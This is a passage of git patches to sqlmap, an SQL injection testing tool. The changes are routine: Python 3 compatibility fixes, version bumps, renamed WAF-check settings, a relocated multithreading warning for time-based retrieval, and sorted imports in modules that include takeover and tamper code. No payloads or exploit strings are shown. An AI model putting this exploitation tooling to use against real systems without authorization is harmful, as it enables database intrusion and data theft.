a/lib/core/compat.py b/lib/core/compat.py index 43670074916..3dbdd7084c8 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import binascii import functools import math diff --git a/lib/core/option.py b/lib/core/option.py index b55574e040d..08e1494b369 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import functools import glob import inspect @@ -1885,7 +1887,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None - kb.hintValue = None + kb.hintValue = "" kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c47373309d..61c2ff72f35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.9" +VERSION = "1.3.6.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index fa77fbbde8b..47ad47156b4 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import errno import os import subprocess @@ -12,7 +14,6 @@ from lib.core.compat import buffer from lib.core.settings import IS_WIN -from thirdparty import six if IS_WIN: try: @@ -98,7 +99,7 @@ def send(self, input): except ValueError: return self._close('stdin') except (subprocess.pywintypes.error, Exception) as ex: - if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN): + if ex.args[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise @@ -119,7 +120,7 @@ def _recv(self, which, maxsize): except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception) as ex: - if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN): + if ex.args[0] in (109, errno.ESHUTDOWN): return self._close(which) raise @@ -137,7 +138,7 @@ def send(self, input): try: written = os.write(self.stdin.fileno(), input) except OSError as ex: - if (ex[0] if six.PY2 else ex.errno) == errno.EPIPE: # broken pipe + if ex.args[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise diff --git a/lib/core/testing.py b/lib/core/testing.py index 14d4de5c43d..20f6e53e0e8 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import codecs import doctest import logging diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 6d0de9eba35..19157212e06 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import re from lib.core.common import extractRegexResult diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 2cc04f2c5eb..728be721915 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -598,7 +598,7 @@ def _controlMsfCmd(self, proc, func): except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f - if (ex[0] if six.PY2 else ex.errno) == errno.EINTR: + if ex.args[0] == errno.EINTR: continue else: return proc.returncode diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 8f132b5487a..c57f9083aad 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import re import threading import time @@ -196,7 +198,7 @@ def tryHint(idx): with hintlock: hintValue = kb.hintValue - if payload is not None and hintValue is not None and len(hintValue) >= idx: + if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: @@ -213,7 +215,7 @@ def tryHint(idx): return hintValue[idx - 1] with hintlock: - kb.hintValue = None + kb.hintValue = "" return None diff --git a/lib/utils/brute.py b/lib/utils/brute.py index ff4e7c17b54..1334374b000 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import time from lib.core.common import clearConsoleLine diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index f1ace276b51..43f2bd1ed05 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import os import re import tempfile diff --git a/lib/utils/progress.py b/lib/utils/progress.py index d33c7144834..cc509c3dbfd 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -5,6 +5,8 @@ See the file 'LICENSE' for copying permission """ +from __future__ import division + import time from lib.core.common import dataToStdout From b6fbca05d50c77c7368f15ca7db2e73ed241dff0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 13:04:31 +0200 Subject: [PATCH 447/800] Couple of trivial patches --- lib/core/settings.py | 2 +- lib/request/inject.py | 7 +++++++ lib/techniques/blind/inference.py | 8 -------- lib/utils/search.py | 2 +- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 61c2ff72f35..561c6a82db3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.10" +VERSION = "1.3.6.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 0b46717fc73..6a84838e9a1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -90,6 +90,13 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " + + kb.forceThreads = readInput(msg, default='N', boolean=True) + if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index c57f9083aad..c2dd01b50e1 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -26,7 +26,6 @@ from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter -from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -166,13 +165,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if showEta: progress = ProgressBar(maxValue=length) - if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: - msg = "multi-threading is considered unsafe in " - msg += "time-based data retrieval. Are you sure " - msg += "of your choice (breaking warranty) [y/N] " - - kb.forceThreads = readInput(msg, default='N', boolean=True) - if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) diff --git a/lib/utils/search.py b/lib/utils/search.py index e14540c21c4..811d489cff2 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -132,7 +132,7 @@ def _search(dork): regex = DUCKDUCKGO_REGEX try: - req = _urllib.request.Request(url, data=data, headers=headers) + req = _urllib.request.Request(url, data=data, headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url From 495e7c821008529db94c02a4336342925b64b33a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 4 Jun 2019 14:44:06 +0200 Subject: [PATCH 448/800] Trivial update --- lib/controller/checks.py | 12 ++++++------ lib/controller/controller.py | 18 +++++++++--------- lib/core/common.py | 6 +++--- lib/core/decorators.py | 2 +- lib/core/dicts.py | 18 +++++++++--------- lib/core/dump.py | 5 ++--- lib/core/option.py | 12 ++++++------ lib/core/patch.py | 5 ++--- lib/core/settings.py | 6 +++--- lib/core/target.py | 6 +++--- lib/core/update.py | 2 +- lib/parse/handler.py | 1 + lib/request/comparison.py | 4 ++-- lib/request/connect.py | 16 ++++++++-------- lib/request/redirecthandler.py | 6 +++--- lib/takeover/abstraction.py | 2 +- lib/takeover/udf.py | 4 ++-- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/blind/inference.py | 6 +++--- lib/techniques/error/use.py | 2 +- lib/techniques/union/test.py | 6 +++--- lib/techniques/union/use.py | 2 +- lib/utils/api.py | 8 ++++---- lib/utils/brute.py | 4 ++-- lib/utils/hash.py | 6 +++--- lib/utils/search.py | 2 +- plugins/dbms/h2/enumeration.py | 4 ++-- plugins/dbms/hsqldb/enumeration.py | 4 ++-- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/generic/filesystem.py | 6 +++--- tamper/charunicodeencode.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/percentage.py | 2 +- 34 files changed, 93 insertions(+), 94 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 21cd0af229a..69bbc2fea19 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -78,9 +78,10 @@ from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import IPS_WAF_CHECK_PAYLOAD -from lib.core.settings import IDS_WAF_CHECK_RATIO -from lib.core.settings import IDS_WAF_CHECK_TIMEOUT +from lib.core.settings import IPS_WAF_CHECK_RATIO +from lib.core.settings import IPS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS @@ -89,9 +90,8 @@ from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import UPPER_RATIO_BOUND -from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.comparison import comparison @@ -1381,10 +1381,10 @@ def checkWaf(): kb.redirectChoice = REDIRECTION.YES kb.resendPostOnRedirect = False - conf.timeout = IDS_WAF_CHECK_TIMEOUT + conf.timeout = IPS_WAF_CHECK_TIMEOUT try: - retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO + retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 95620b801af..a17f922e7f2 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -12,14 +12,14 @@ import time from lib.controller.action import action -from lib.controller.checks import checkSqlInjection -from lib.controller.checks import checkDynParam -from lib.controller.checks import checkStability -from lib.controller.checks import checkString -from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection +from lib.controller.checks import checkDynParam from lib.controller.checks import checkInternet from lib.controller.checks import checkNullConnection +from lib.controller.checks import checkRegexp +from lib.controller.checks import checkSqlInjection +from lib.controller.checks import checkStability +from lib.controller.checks import checkString from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection from lib.core.agent import agent @@ -40,8 +40,8 @@ from lib.core.common import removePostHintPrefix from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes -from lib.core.common import urlencode from lib.core.common import urldecode +from lib.core.common import urlencode from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb @@ -61,16 +61,16 @@ from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSystemException -from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapUserQuitException +from lib.core.exception import SqlmapValueException from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX -from lib.core.settings import IGNORE_PARAMETERS -from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HOST_ALIASES +from lib.core.settings import IGNORE_PARAMETERS +from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv diff --git a/lib/core/common.py b/lib/core/common.py index bfd1aa209ef..2e11945ba99 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -73,8 +73,8 @@ from lib.core.dicts import OBSOLETE_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY -from lib.core.enums import CONTENT_STATUS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import CONTENT_STATUS from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import HEURISTIC_TEST @@ -92,9 +92,9 @@ from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapGenericException -from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException @@ -110,9 +110,9 @@ from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX -from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_MSSQL_SCHEMA diff --git a/lib/core/decorators.py b/lib/core/decorators.py index cab8548f457..6de10a77cac 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -9,9 +9,9 @@ import hashlib import threading +from lib.core.datatype import LRUDict from lib.core.settings import MAX_CACHE_ITEMS from lib.core.settings import UNICODE_ENCODING -from lib.core.datatype import LRUDict from lib.core.threads import getCurrentThreadData _lock = threading.Lock() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e7b8fbe0f2d..d0b85ff0c09 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -9,21 +9,21 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT +from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BLANK -from lib.core.settings import NULL +from lib.core.settings import DB2_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import HSQLDB_ALIASES -from lib.core.settings import H2_ALIASES -from lib.core.settings import INFORMIX_ALIASES FIREBIRD_TYPES = { 261: "BLOB", diff --git a/lib/core/dump.py b/lib/core/dump.py index 6c65800757d..3fd31b1fbdd 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -13,6 +13,7 @@ import tempfile import threading +from extra.safe2bin.safe2bin import safechardecode from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile @@ -39,8 +40,8 @@ from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException -from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapValueException from lib.core.replication import Replication from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE @@ -55,8 +56,6 @@ from thirdparty import six from thirdparty.magic import magic -from extra.safe2bin.safe2bin import safechardecode - class Dump(object): """ This class defines methods used to parse and output the results diff --git a/lib/core/option.py b/lib/core/option.py index 08e1494b369..b132ab2de9e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -26,8 +26,6 @@ from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import decodeStringEscape -from lib.core.common import getPublicTypeMembers -from lib.core.common import getSafeExString from lib.core.common import fetchRandomAgent from lib.core.common import filterNone from lib.core.common import findLocalPort @@ -35,6 +33,8 @@ from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString from lib.core.common import intersect from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes @@ -134,19 +134,19 @@ from lib.parse.payloads import loadPayloads from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding -from lib.request.connect import Connect as Request -from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler +from lib.request.connect import Connect as Request +from lib.request.dns import DNSServer from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler -from lib.utils.har import HTTPCollectorFactory from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies -from lib.utils.search import search +from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge +from lib.utils.search import search from thirdparty import six from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost diff --git a/lib/core/patch.py b/lib/core/patch.py index 874ce8c434d..503054ce663 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -18,18 +18,17 @@ import thirdparty.ansistrm.ansistrm import thirdparty.chardet.universaldetector -from lib.request.templates import getPageTemplate - from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isListLike -from lib.core.common import singleTimeWarnMessage from lib.core.common import readInput from lib.core.common import shellExec +from lib.core.common import singleTimeWarnMessage from lib.core.convert import stdoutEncode from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity from lib.core.settings import IS_WIN +from lib.request.templates import getPageTemplate from thirdparty.six.moves import http_client as _http_client def dirtyPatches(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 561c6a82db3..df60b4a7c57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.11" +VERSION = "1.3.6.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -46,10 +46,10 @@ CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets -IDS_WAF_CHECK_RATIO = 0.5 +IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets -IDS_WAF_CHECK_TIMEOUT = 10 +IPS_WAF_CHECK_TIMEOUT = 10 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 diff --git a/lib/core/target.py b/lib/core/target.py index 604818dd0f2..89dd446492c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -48,18 +48,18 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException +from lib.core.option import _setAuthCred from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes -from lib.core.option import _setAuthCred +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES -from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import INJECT_HERE_REGEX -from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX +from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES diff --git a/lib/core/update.py b/lib/core/update.py index 8b48a6d9b13..e844c4a3778 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -14,8 +14,8 @@ import zipfile from lib.core.common import dataToStdout -from lib.core.common import getSafeExString from lib.core.common import getLatestRevision +from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import pollProcess from lib.core.common import readInput diff --git a/lib/parse/handler.py b/lib/parse/handler.py index ed03812bbe2..805c756cf96 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -8,6 +8,7 @@ import re from xml.sax.handler import ContentHandler + from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 19157212e06..18f37640e8c 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -23,11 +23,11 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX -from lib.core.settings import MIN_RATIO +from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER -from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData diff --git a/lib/request/connect.py b/lib/request/connect.py index 10636fc4506..8d7e70d60b1 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -41,8 +41,8 @@ class WebSocketException(Exception): from lib.core.common import getSafeExString from lib.core.common import isMultiThreadMode from lib.core.common import logHTTPTraffic -from lib.core.common import pushValue from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr @@ -52,10 +52,10 @@ class WebSocketException(Exception): from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev -from lib.core.common import wasLastResponseDelayed from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode +from lib.core.common import wasLastResponseDelayed from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import getBytes @@ -92,19 +92,19 @@ class WebSocketException(Exception): from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import EVALCODE_ENCODED_PREFIX -from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE +from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD +from lib.core.settings import IS_WIN +from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX -from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MAX_TIME_RESPONSES -from lib.core.settings import IPS_WAF_CHECK_PAYLOAD -from lib.core.settings import IS_WIN -from lib.core.settings import LARGE_CHUNK_TRIM_MARKER +from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE @@ -119,8 +119,8 @@ class WebSocketException(Exception): from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse -from lib.request.direct import direct from lib.request.comparison import comparison +from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from thirdparty import six from thirdparty.odict import OrderedDict diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 961db87ad87..c85771d6486 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -9,14 +9,14 @@ import time import types -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger from lib.core.common import getHostHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index a00bc28659f..ffcd5d89f3b 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -10,8 +10,8 @@ import sys from extra.safe2bin.safe2bin import safechardecode -from lib.core.common import dataToStdout from lib.core.common import Backend +from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import isStackingAvailable from lib.core.common import readInput diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index e5ac1f9e5b3..8657a98fc8f 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -8,9 +8,9 @@ import os from lib.core.agent import agent +from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToStdout -from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import unArrayizeValue @@ -18,8 +18,8 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.data import queries -from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 8e14c988e40..1904081dc3a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -20,10 +20,10 @@ from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet -from lib.core.common import ntToPosixSlashes from lib.core.common import isTechniqueAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath +from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import posixToNtSlashes diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 476a7d3dd97..1ea8228c2aa 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -15,8 +15,8 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable -from lib.core.common import pushValue from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import wasLastResponseDelayed diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index c2dd01b50e1..71fbe68c935 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -21,8 +21,8 @@ from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter -from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun +from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter @@ -39,11 +39,11 @@ from lib.core.exception import SqlmapThreadException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK -from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings 